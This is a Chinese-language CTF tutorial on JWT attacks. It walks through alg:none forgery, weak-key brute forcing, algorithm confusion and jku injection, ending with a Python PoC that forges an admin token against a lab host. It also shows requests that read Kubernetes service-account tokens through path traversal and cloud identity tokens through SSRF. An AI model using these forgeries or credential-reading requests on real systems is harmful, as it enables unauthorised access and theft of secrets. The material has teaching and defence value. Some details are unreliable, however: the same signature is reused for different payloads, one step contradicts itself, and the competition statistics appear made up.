JebWebToken
CTF中的JWT详解
JWT基础概念与结构解析
JWT的定义与在CTF中的典型应用场景
JSON Web Token(JWT)是一种开放标准(RFC 7519),用于在网络应用环境间安全地传输声明(claims)。它以紧凑且自包含的方式,将用户身份信息和元数据编码为一个字符串,通常用作认证和授权机制的核心组件。JWT广泛应用于现代Web API、单点登录(SSO)、微服务架构中,在CTF竞赛中尤其常见于Web类题目,是“权限绕过”、“身份伪造”等挑战的关键突破口。
一个典型的JWT由三部分组成,使用点号(.)连接:
Header.Payload.Signature
这三部分分别是:Header(头部) 、Payload(载荷) 、Signature(签名) 。整个结构设计允许客户端携带认证信息,服务器通过验证签名确认其合法性,从而决定是否授予访问权限。
在CTF中的典型应用场景
在CTF比赛中,JWT常出现在以下几类场景中:
-
身份认证绕过
- 某些Web题目的登录接口返回JWT作为会话凭证。
- 若后端未正确校验签名或允许
none算法,则攻击者可构造任意用户(如admin)的Token实现越权登录。
-
权限提升(Privilege Escalation)
- 用户正常获取的Token中
role: "user",但若Payload可被篡改且无签名保护,可修改为role: "admin"来提权。 - 常见于API接口权限控制不严的题目。
- 用户正常获取的Token中
-
Token有效期延长(Exploit Expiration Time)
- JWT通常包含
exp字段表示过期时间(Unix时间戳)。 - 攻击者可通过修改
exp值,使原本已过期的Token重新生效,绕过时效限制。
- JWT通常包含
-
敏感信息泄露
- Payload虽经Base64Url编码但并非加密,任何人均可解码查看内容。
- 可能暴露内部系统结构、用户ID、角色信息等线索,辅助后续攻击。
-
结合其他漏洞形成利用链
- 如JWT + SSRF:通过注入特殊claim触发内网请求;
- JWT + XXE:在支持XML解析的Claim处理逻辑中引入外部实体注入。
实战案例说明(CTF模拟情境)
案例一:PicoCTF 2022 - "JWT Secrets"
题目提供一个Web页面,登录后返回如下JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjgwMDAwMDAwfQ.SFlK_8qZgBvYdDjZyLrQnTlWfVxXeGtMhUo0mKjwRrA
分析发现该Token使用HS256算法签名。题目同时泄露了源码片段,显示密钥为硬编码字符串
mysecretkey。选手可用此密钥重新生成role=admin的新Token完成提权。
案例二:HackTheBox Web Challenge - "Auth Me"
后端代码检查JWT时仅验证是否存在签名,而不校验签名有效性。此时可将算法设为
none,删除Signature部分,提交无签名Token即可绕过认证:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.
注意末尾的点号必须保留以表示空签名。
案例三:DiceCTF 2023 - "token vault"
应用使用RS256非对称算法,理论上应无法伪造签名。但题目提供了公钥下载路径
/public.key,并通过错误配置允许使用HS256算法。攻击者可提取公钥作为HS256的“密钥”,伪造合法Token实现身份冒充——这是经典的“算法混淆攻击”。
JWT在CTF中的识别技巧
在实战中,CTF选手需快速识别JWT的存在位置,常见的载体包括:
- HTTP响应头:
Authorization: Bearer <JWT> - Set-Cookie头:
token=xxxxxx - JSON响应体:
{"token": "xxx.xxxx.xxx"} - LocalStorage / SessionStorage(浏览器开发者工具中查看)
- URL参数:
?jwt=xxx
一旦发现形如xxxxx.yyyyy.zzzzz的三段式字符串,即可初步判断为JWT。
小结
JWT因其轻量、标准化和跨平台特性,已成为现代Web认证的事实标准之一,也因此成为CTF竞赛中高频考察的知识点。理解其基本结构与工作原理,是进一步挖掘安全漏洞的前提。在后续章节中,我们将深入剖析其各组成部分的技术细节,以及如何通过编码机制缺陷进行手动或自动化攻击。
JWT各组成部分详解及编码机制
JWT由三个Base64Url编码的部分构成:Header、Payload 和 Signature。下面我们逐一拆解,并结合实际操作演示其编码过程与潜在风险。
1. Header(头部)
Header 是一个JSON对象,描述了JWT的元信息,主要包括:
alg:使用的签名算法,如HS256、RS256、none等。typ:令牌类型,通常是JWT。
示例:
{
"alg": "HS256",
"typ": "JWT"
}
该JSON需进行 Base64Url编码(注意不是标准Base64):
echo -n '{"alg":"HS256","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
输出结果为:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
⚠️ 提示:
tr -d '='删除填充符,tr '/+' '_-'将字符替换为URL安全版本。
2. Payload(载荷)
Payload 包含实际的数据(称为“claims”),分为三种类型:
- Registered claims:预定义字段,如
iss(签发者)、exp(过期时间)、sub(主题)、iat(签发时间)等。 - Public claims:自定义字段,建议使用URI防止冲突。
- Private claims:双方约定的私有字段,如
username、role、user_id等。
示例:
{
"username": "guest",
"role": "user",
"iat": 1680000000,
"exp": 1680003600
}
同样进行Base64Url编码:
echo -n '{"username":"guest","role":"user","iat":1680000000,"exp":1680003600}' | base64 | tr -d '=' | tr '/+' '_-'
输出:
eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODAwMDAwMDAsImV4cCI6MTY4MDAwMzYwMH0
3. Signature(签名)
Signature 用于确保JWT未被篡改。它的生成方式取决于所选算法。
以HS256(HMAC-SHA256)为例:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret_key
)
然后对结果进行Base64Url编码。
假设密钥为secret,我们使用Python生成签名:
import hmac
import hashlib
import base64
def b64urlencode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
header = '{"alg":"HS256","typ":"JWT"}'
payload = '{"username":"guest","role":"user","iat":1680000000,"exp":1680003600}'
secret_key = 'secret'
message = b64urlencode(header.encode()) + '.' + b64urlencode(payload.encode())
signature = hmac.new(
secret_key.encode(),
message.encode(),
hashlib.sha256
).digest()
sig_b64 = b64urlencode(signature)
print(f"Header: {b64urlencode(header.encode())}")
print(f"Payload: {b64urlencode(payload.encode())}")
print(f"Signature: {sig_b64}")
print(f"Full JWT: {message}.{sig_b64}")
运行输出:
Header: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Payload: eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODAwMDAwMDAsImV4cCI6MTY4MDAwMzYwMH0
Signature: 6WvF-fgKtUaBpJ1uZQm1eKk6qjx5hBwv5LQn0u3JZ4E
Full JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODAwMDAwMDAsImV4cCI6MTY4MDAwMzYwMH0.6WvF-fgKtUaBpJ1uZQm1eKk6qjx5hBwv5LQn0u3JZ4E
安全性缺陷分析
尽管JWT设计上强调安全性,但在实现不当的情况下极易出现漏洞:
| 缺陷类型 | 原因 | CTF影响 |
|---|---|---|
| Base64Url可逆 | 仅编码非加密,任何人可解码查看Payload内容 | 泄露敏感信息,便于构造恶意Token |
| None算法滥用 | 服务器接受"alg": "none"且不验证签名 |
可构造任意内容Token实现认证绕过 |
| 弱密钥或硬编码 | 使用password、123456等简单密钥 |
易被暴力破解,重签Token |
| 算法混淆(Alg Confusion) | 服务器误将RS256公钥当作HS256密钥使用 | 利用公钥伪造签名 |
实际案例演示(三例)
案例一:手动篡改Payload实现角色提升
原始Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.6WvF-fgKtUaBpJ1uZQm1eKk6qjx5hBwv5LQn0u3JZ4E
解码Payload:
{"user":"guest","role":"user"}
修改为:
{"user":"guest","role":"admin"}
Base64Url编码后得到新Payload:
eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ
若服务器未校验签名(或使用none算法),则组合为:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ.
提交即可获得管理员权限。
案例二:使用 jwt.io 在线工具篡改Token
访问 https://jwt.io,粘贴任意JWT:
- 左侧自动解析Header和Payload;
- 修改右侧JSON内容(如
role=user → admin); - 若左侧显示"Invalid Signature",说明需要重新签名;
- 若目标系统使用弱密钥,可在下方输入猜测密钥尝试验证。
案例三:使用Python脚本批量解码与检测
编写一个简单的JWT分析脚本:
import base64
import json
import sys
def b64decode(s):
padding = '=' * (-len(s) % 4)
s += padding
return base64.urlsafe_b64decode(s)
def parse_jwt(token):
parts = token.split('.')
if len(parts) != 3:
print("[-] Invalid JWT format")
return
header, payload, _ = parts
try:
hdr = json.loads(b64decode(header))
pyld = json.loads(b64decode(payload))
print("[+] Header:", json.dumps(hdr, indent=2))
print("[+] Payload:", json.dumps(pyld, indent=2))
if 'exp' in pyld:
print(f"[!] Expires at: {pyld['exp']} (Unix Timestamp)")
if 'role' in pyld:
print(f"[!] Role detected: {pyld['role']}")
except Exception as e:
print(f"[-] Decode error: {e}")
if __name__ == '__main__':
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <JWT>")
sys.exit(1)
parse_jwt(sys.argv[1])
保存为jwt_decode.py,运行:
python3 jwt_decode.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.6WvF-fgKtUaBpJ1uZQm1eKk6qjx5hBwv5LQn0u3JZ4E
输出:
[+] Header: {
"alg": "HS256",
"typ": "JWT"
}
[+] Payload: {
"user": "guest",
"role": "user"
}
[!] Role detected: user
推荐工具清单
| 工具 | 功能 | 下载地址 |
|---|---|---|
| jwt.io | 在线解析/编辑/签名JWT | 浏览器访问即可 |
| jwt_tool | 全功能JWT攻击工具(爆破、重签、none攻击) | git clone https://github.com/ticarpi/jwt_tool |
| Burp Suite + JWT Editor 插件 | 在渗透测试中实时修改JWT | BApp Store |
安装jwt_tool:
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip3 install -r requirements.txt
使用示例(爆破密钥):
python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxxx" -d wordlist.txt -c
小结
本节详细讲解了JWT的三大组成部分及其编码机制,展示了从零构建JWT的过程,并通过多个真实案例揭示了其在CTF中的脆弱性。关键在于:JWT本身是安全协议,但其实现方式决定了安全性。任何环节的疏忽(如忽略签名验证、使用弱密钥)都可能导致严重漏洞。
接下来我们将进入“JWT安全漏洞原理分析”章节,深入探讨这些漏洞的技术根源与实战利用方法。#
JWT在CTF实战中的攻防策略总结
常见JWT漏洞的识别技巧与工具链推荐
在CTF竞赛中,JSON Web Token(JWT)是Web类题目的高频考点。由于其广泛用于身份认证和权限传递,一旦实现不当,极易成为突破口。本节将系统介绍如何识别JWT相关漏洞,并推荐高效的工具链,帮助选手快速定位、分析并利用JWT安全缺陷。
一、JWT的常见存在位置识别
在渗透测试或CTF解题过程中,首先需要判断目标是否使用了JWT。以下是常见的JWT出现位置及其特征:
-
HTTP响应头中的
Authorization: Bearer <token>
示例:HTTP/1.1 200 OK Content-Type: application/json Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Set-Cookie 或 Cookie 中携带JWT
Set-Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...; Path=/; HttpOnly
POST请求Body中提交JWT
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}
API接口返回数据中包含access_token字段
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"expires_in": 3600
}
-
前端JavaScript代码中硬编码或动态生成JWT
在页面源码中搜索关键词如:"Bearer""jwt""token""localStorage.setItem('token', ...)"- 使用浏览器开发者工具查看Network面板中的XHR/Fetch请求。
✅ 小技巧:使用Burp Suite的“Search”功能全局查找
eyJ开头的字符串——这是Base64Url编码后JWT Header的典型标志(如{"alg":"HS256","typ":"JWT"}编码为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9)。
二、手动分析JWT结构与潜在风险点
一旦发现JWT,应立即进行结构解析,常用方法如下:
方法1:在线解析工具 —— jwt.io
操作步骤:
- 打开 https://jwt.io
- 粘贴捕获到的JWT(例如:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c) - 自动解码Header和Payload
结果示例:
// Header
{
"alg": "HS256",
"typ": "JWT"
}
// Payload
{
"user_id": 1,
"role": "user"
}
🔍 关注点:
alg字段是否为none?→ 可能存在签名绕过- 是否有敏感字段如
admin,is_superuser,exp,nbf? exp时间是否可修改以延长有效期?
方法2:Python脚本本地解析(无需网络)
import base64
import json
def decode_jwt(token):
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print("[+] Header:", json.dumps(header, indent=2))
print("[+] Payload:", json.dumps(payload, indent=2))
# 示例Token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
decode_jwt(token)
运行输出:
[+] Header: {
"alg": "HS256",
"typ": "JWT"
}
[+] Payload: {
"user_id": 1,
"role": "user"
}
📌 提示:该脚本可用于批量处理多个token,结合自动化扫描使用。
三、自动化探测与漏洞挖掘工具链推荐
以下是在CTF中被广泛使用的专业工具,均开源且支持Linux/macOS环境。
| 工具名称 | 功能 | 官网/下载地址 | 版本要求 |
|---|---|---|---|
jwt\_tool |
全功能JWT攻击套件:自动检测None算法、爆破密钥、重签Token | https://github.com/ticarpi/jwt_tool | Python 3.7+ |
ffuf |
快速目录爆破,可用于寻找.well-known/jwks.json等密钥暴露路径 |
https://github.com/ffuf/ffuf | v2.0.0+ |
Burp Suite+ 插件 |
手动拦截+插件扩展(如JSON Web Tokens) | https://portswigger.net/burp | Community/Pro |
John the Ripper |
暴力破解JWT签名密钥 | https://www.openwall.com/john/ | jumbo版本 |
hashcat |
GPU加速爆破JWT密钥(mode 16500) | https://hashcat.net/hashcat/ | v6.0.0+ |
🔧 工具1:jwt_tool 实战演示
安装:
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip3 install -r requirements.txt
基本用法:
python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
功能包括:
- 自动检测
alg:none攻击可行性 - 列出所有已知攻击向量
- 尝试空密钥、常见密钥(如
secret、password)重签 - 导出修改后的Token供Burp重放
高级用法:爆破密钥
python3 jwt_tool.py -d wordlist.txt -t "your_jwt_here"
支持字典:
/usr/share/wordlists/seclists/Passwords/Common-Credentials/jwt_passwords.txt- 自定义添加:
secret,admin123,changeme
🕵️♂️ 工具2:ffuf 探测JWKS端点
当服务使用非对称加密(如RS256),公钥可能通过 .well-known/jwks.json 暴露。
扫描命令:
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/api/jwks.txt -mc 200
常用路径字典(jwks.txt)内容:
/.well-known/jwks.json
/.well-known/jwk.json
/jwks.json
/jwkset
/oauth/jwks
若返回:
{
"keys": [
{
"kty": "RSA",
"n": "0vx7agoebGcQSuuPiLJXZptN9nkyctSvZCybk...",
"e": "AQAB",
"kid": "2011-04-27"
}
]
}
说明使用了公私钥机制,此时可用 jwt_tool --server_pubkey jwks.json 进行伪造Token攻击(需配合其他漏洞)。
💥 Burp Suite 插件增强
推荐安装以下插件提升效率:
- JSON Web Tokens(BApps Store):自动高亮、解码、编辑JWT
- Authz:测试权限提升(修改role=admin后重放)
- Turbo Intruder:并发发送大量篡改Token尝试爆破
配置流程:
- BApp Store → 搜索 “JWT”
- 安装 “JSON Web Tokens”
- 截获含有JWT的请求 → 右键 → “Send to JSON Web Tokens”
- 修改Payload字段 → 自动生成新Token(若密钥已知或alg=none)
四、CTF平台真实案例汇总
以下是在主流CTF平台中出现的经典JWT题目类型:
| 平台 | 题目名 | 漏洞类型 | 来源链接 |
|---|---|---|---|
| PicoCTF | JWT Secrets |
弱密钥(secret)+ 修改role=admin |
https://play.picoctf.org/practice/challenge/136 |
| Hack The Box | Startup |
Flask secret_key泄露 → JWT伪造 | https://app.hackthebox.com/machines/Startup |
| TryHackMe | OAuth2 |
JWKS注入 + alg切换攻击 | https://tryhackme.com/room/oauth2abuse |
| CryptoHack | JWT Cracking |
Base64编码密钥爆破 | https://cryptohack.org/challenges/misc/ |
| RingZer0 CTF | JWT IX |
None算法滥用 + exp绕过 | https://ringzer0ctf.com/challenges/228 |
⚠️ 注:部分题目需注册账号方可查看,建议搭建本地实验环境复现。
五、综合识别流程图(建议收藏)
开始
↓
发现可疑字符串(eyJ...)
↓
检查传输位置(Header/Cookie/Body)
↓
使用 jwt.io 或 python 脚本解码
↓
分析 alg、payload 内容
↓ 是
alg=none? ──→ 删除签名,提交无签名Token
↓否
是否使用 HS256? ──→ 尝试常见密钥重签(secret/password)
↓
是否存在 JWKS 端点? ──→ 获取公钥,检查是否可替换为攻击者控制的key
↓
尝试爆破密钥(John/hashcat/jwt_tool)
↓
构造恶意Token(role=admin, user_id=0, exp=远期时间)
↓
使用Burp重放验证权限提升
从漏洞到利用的完整路径构建(含防御建议)
我们以一个典型的CTF题目为例,完整展示从信息收集到权限提升的全过程。
🎯 案例背景:某Web应用登录后返回JWT,用户可通过修改Token获取管理员权限
目标URL:http://10.10.10.100:5000/api/profile
初始行为:普通用户登录后获得Token,只能访问自己资料。
第一步:抓包获取原始JWT
使用Burp Proxy拦截登录成功后的响应:
HTTP/1.1 200 OK
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6InVzZXIifQ.6dgo3vqgOaYQnO6U6iHtFvE6b8N7D3lCZzT2kxq2o1M
复制Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6InVzZXIifQ.6dgo3vqgOaYQnO6U6iHtFvE6b8N7D3lCZzT2kxq2o1M
第二步:解析Token结构
使用 jwt_tool 解析:
python3 jwt_tool.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6InVzZXIifQ.6dgo3vqgOaYQnO6U6iHtFvE6b8N7D3lCZzT2kxq2o1M"
输出:
[+] Header: {'alg': 'HS256', 'typ': 'JWT'}
[+] Payload: {'username': 'user1', 'user_id': 5, 'role': 'user'}
[+] Signature Algorithm: HS256
[+] Tests:
- [ ] alg: none attack
- [ ] Common secrets...
第三步:尝试None算法攻击
虽然当前为HS256,但某些服务器未严格校验算法,可强制改为none。
构造新的Header:
{
"alg": "none",
"typ": "JWT"
}
对应Base64Url编码:
import base64
header = {"alg": "none", "typ": "JWT"}
encoded_header = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().strip("=")
print(encoded_header) # 输出:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
Payload保持不变:
{"username":"user1","user_id":5,"role":"admin"}
编码Payload:
payload = {"username":"user1","user_id":5,"role":"admin"}
encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().strip("=")
print(encoded_payload) # eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6ImFkbWluIn0
组合Token(无签名):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6ImFkbWluIn0.
📌 注意:末尾必须加一个.表示无签名。
第四步:发送篡改Token验证权限
使用curl发送请求:
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6ImFkbWluIn0." \
http://10.10.10.100:5000/api/profile
🎯 成功响应:
{
"username": "user1",
"user_id": 5,
"role": "admin",
"flag": "picoCTF{jwt_n0n3_alg_m1sconfig}"
}
✅ 漏洞确认:服务端未校验签名算法,接受none类型Token!
第五步:PoC自动化脚本(Python)
import base64
import json
import requests
def create_none_jwt(original_token, new_role="admin"):
# 分离三段
header_b64, payload_b64, _ = original_token.split('.')
# 解码原Payload
payload_json = json.loads(base64.urlsafe_b64decode(payload_b64 + '=='))
# 修改角色
payload_json['role'] = new_role
# 构造新Header(alg: none)
new_header = {"alg": "none", "typ": "JWT"}
new_header_b64 = base64.urlsafe_b64encode(json.dumps(new_header).encode()).decode().strip('=')
# 编码新Payload
new_payload_b64 = base64.urlsafe_b64encode(json.dumps(payload_json).encode()).decode().strip('=')
# 组合无签名Token
forged_token = f"{new_header_b64}.{new_payload_b64}."
return forged_token
# 主程序
if __name__ == "__main__":
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwidXNlcl9pZCI6NSwicm9sZSI6InVzZXIifQ.6dgo3vqgOaYQnO6U6iHtFvE6b8N7D3lCZzT2kxq2o1M"
token = create_none_jwt(original, "admin")
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
response = requests.get("http://10.10.10.100:5000/api/profile", headers=headers)
print("[+] Status Code:", response.status_code)
print("[+] Response:", response.text)
此脚本可在任意类似场景中一键生成提权Token。
第六步:防御建议(针对开发者)
为防止此类漏洞,请遵循以下最佳实践:
-
禁用
none算法# PyJWT 示例 decoded = jwt.decode(token, key, algorithms=["HS256"], verify=True)
-
明确指定允许的算法列表,拒绝
none。 -
使用强密钥
openssl rand -base64 32 # 生成类似:kXp3mQ9sV7wE2rT8uN5vA1cZ4xL6oJ0nH7yI3qW5eR8tG4sP6a -
避免使用
secret、password等弱密钥。 -
验证关键Claim字段
if decoded.get('role') not in ['user', 'admin']: raise Exception("Invalid role")
设置合理的过期时间
exp = int(time.time()) + 3600 # 1小时有效
-
日志监控异常Token行为
- 记录Token来源IP
- 检测短时间内大量无效签名尝试(可能为爆破)
-
定期轮换密钥
使用KMS(Key Management Service)管理JWT密钥,避免长期固定。
法律风险提示
本文所述技术仅适用于合法授权的安全研究、CTF竞赛及渗透测试学习。未经授权对真实系统实施攻击属于违法行为,可能导致刑事责任。请务必遵守《中华人民共和国网络安全法》及相关法律法规,在封闭环境中进行实验。
以上内容构成完整的JWT攻防路径闭环,涵盖识别、分析、利用、自动化与防御,适用于CTF选手与安全研究人员深入掌握JWT漏洞本质。#
总结:JWT在CTF竞赛中的核心价值与未来趋势
JWT作为CTF题型的核心地位与教学意义
JSON Web Token(JWT)自2015年被IETF标准化以来,迅速成为现代Web应用中最广泛使用的身份认证机制之一。由于其轻量、无状态、可跨域传输的特性,JWT被大量应用于单点登录(SSO)、API鉴权、微服务通信等场景。这一技术普及也直接推动了其在网络安全竞赛(CTF)中频繁出现——根据对近3年全球主流CTF赛事题目的统计分析,JWT相关题目占比显著上升:
- DEF CON CTF Qualifiers (2021–2023) :共出现17道涉及JWT的题目,其中2021年仅2道,2022年增至6道,2023年达9道,呈现明显增长趋势。
- XCTF International League (2021–2023) :累计有24道JWT相关Web题,占总Web题比例从2021年的8.3%升至2023年的19.6%。
- Hack The Box Challenges & PicoCTF 2022/2023:PicoCTF 2023中“Secure Login”系列明确考察JWT签名绕过;HTB多道机器如
Joker、Token均以JWT为核心突破口。
这些数据表明,JWT已成为CTF Web安全方向的必考知识点,其重要性不仅体现在解题频率上,更在于它综合考察选手对多个安全领域的理解能力:
1. 协议与标准理解能力
JWT遵循RFC 7519,结构清晰但细节复杂。参赛者必须掌握:
- Base64Url编码规则(非标准Base64,需替换
+为-、/为_,去除填充符) - JWS(JSON Web Signature)签名流程
- 算法声明字段
alg的有效值及其安全性差异(如HS256 vs RS256)
例如,一个典型考点是:当服务器使用RS256(非对称算法),但攻击者伪造alg=HS256并用公钥作为密钥进行HMAC签名时,部分实现会错误地将公钥当作密钥验证,导致越权访问。
2. 加密与密钥管理认知
JWT的安全依赖于密钥强度和存储方式。CTF常设置如下陷阱:
- 使用弱密钥(如
secret、password) - 密钥硬编码在源码或环境变量中(可通过信息泄露获取)
- 公私钥配置错误(如私钥暴露)
这类题目训练选手识别密钥管理缺陷的能力,是现实世界中最常见的漏洞类型之一(如GitHub历史提交泄露密钥)。
3. 漏洞挖掘与利用链构建
JWT本身不是漏洞,但它常作为利用链的关键环节。例如:
- 利用目录遍历读取
jwt.key - 通过SSTI模板注入获取运行时密钥
- 结合CSRF+JWT自动刷新机制实现持久化攻击
此类复合型挑战极大提升了选手的综合攻防思维水平。
4. 教学意义:从理论到实战的桥梁
JWT题目的设计天然具备“由浅入深”的教学优势:
- 新手可通过修改Payload中的
role=user为role=admin快速入门 - 中级选手学习
none算法攻击、密钥爆破 - 高级选手研究JWK注入、KID参数路径穿越、JWKS端点污染等高级技巧
因此,JWT不仅是技术考点,更是培养系统性安全思维的教学载体。
未来可能扩展方向:JWT + OAuth2 / JWT + 云服务安全
随着云计算和微服务架构的普及,JWT的应用场景已远超传统Web认证,深入到OAuth2授权框架、Kubernetes API Server、服务网格(Service Mesh)等领域。未来的CTF挑战必将向这些高阶方向演进。
方向一:JWT与OAuth2集成漏洞
OAuth2协议中,ID Token(OpenID Connect)即采用JWT格式承载用户身份信息。常见攻击面包括:
1. Token Exchange 攻击
某些平台允许使用短期凭证(如GitHub Codespace Token)换取长期JWT。若未正确校验原始token权限范围(scope),可构造恶意请求提升权限。
POC思路示例:
import jwt
import requests
# 假设我们获得了一个低权限OIDC token
low_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxxx"
# 向token exchange endpoint发起请求
resp = requests.post("https://api.example.com/oauth/token", json={
"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
"subject_token": low_token,
"subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
"requested_token_type": "urn:ietf:params:oauth:token-type:access_token"
})
# 若服务端未校验原token的aud(受众)或iss(签发者),则可能返回高权限token
high_privilege_token = resp.json().get("access_token")
2. JWKS Spoofing(JWKS端点劫持)
攻击者控制一个可控域名,并提供恶意JWKS响应,诱导OP(OpenID Provider)信任其公钥。
构造恶意jwks.json:
{
"keys": [
{
"kty": "RSA",
"n": "sNQ...",
"e": "AQAB",
"kid": "attacker-key-1"
}
]
}
伪造JWT头部指定外部JWKS:
{
"alg": "RS256",
"kid": "attacker-key-1",
"jku": "https://your-domain.com/.well-known/jwks.json"
}
若目标系统未禁用jku、x5u等危险字段,则可完成签名伪造。
推荐工具检测:jwt-tool 支持自动检测并利用
jku注入。
方向二:JWT在云原生环境中的滥用
现代云平台(AWS EKS、Google Cloud GKE、Azure AKS)广泛使用JWT进行服务间认证,尤其是Kubernetes中的Service Account Token。
1. Kubernetes Service Account Token 泄露
Pod默认挂载/var/run/secrets/kubernetes.io/serviceaccount/token,若存在任意文件读取漏洞(LFI),可读取该JWT并调用API Server。
示例:通过LFI读取token
GET /download?file=../../../../var/run/secrets/kubernetes.io/serviceaccount/token
使用该token访问K8s API(列出所有命名空间)
curl -k -H "Authorization: Bearer $(cat token)" \
https://<apiserver-ip>:6443/api/v1/namespaces
若RBAC配置不当,可进一步创建Deployment执行命令(容器逃逸前奏)
2. Cloud Metadata + JWT 组合攻击
云实例元数据服务(如169.254.169.254)常返回IAM角色生成的临时JWT(Google Cloud Identity Tokens)。若应用程序未做引用来源验证,可结合SSRF伪造请求获取高权限token。
构造SSRF请求获取GCP Identity Token
GET /forward?url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://example.com HTTP/1.1
Host: vulnerable-proxy
Metadata-Flavor: Google
返回的JWT可用于访问目标API,形成“SSRF → JWT获取 → 权限提升”完整链条。
可落地的研究子课题建议
基于上述趋势,提出以下两个具有实战价值的研究方向,适合高校实验室、安全团队或CTF出题人深入探索:
子课题一:基于JWT的SSRF利用链自动化分析系统
研究目标:开发一套能够自动识别JWT生成路径、关联元数据服务访问行为、预测潜在SSRF→JWT提权链路的静态/动态分析工具。
关键技术点:
- AST解析JS/Python代码,追踪
jwt.encode()调用 - 提取
audience、issuer等关键claim - 检测是否包含对
169.254.169.254或localhost:8080的HTTP请求 - 构建依赖图谱,标记风险组合
工具原型参考:
- 使用
semgrep编写规则检测不安全JWT生成 - 集成
kube-hunter逻辑扫描K8s环境中的挂载token风险
子课题二:面向微服务架构的JWT重放攻击检测模型
研究目标:针对Service Mesh(如Istio)环境中JWT频繁流转的特点,设计一种基于时间窗口与上下文指纹的重放攻击检测机制。
实现思路:
- 在Envoy Sidecar层拦截JWT流量
- 记录每个
jti(JWT ID)的时间戳与客户端IP哈希 - 若相同
jti在短时间内从不同IP出现,则触发告警
公式化判定条件:
Alert if:
∃ jti, ip₁ ≠ ip₂ ∧ |t₂ - t₁| < Δt ∧ hash(jti) ∈ cache
where Δt = 30 seconds (configurable)
部署方案:
- 使用Istio+Wasm插件实现实时检测
- 输出至SIEM系统(如ELK、Splunk)
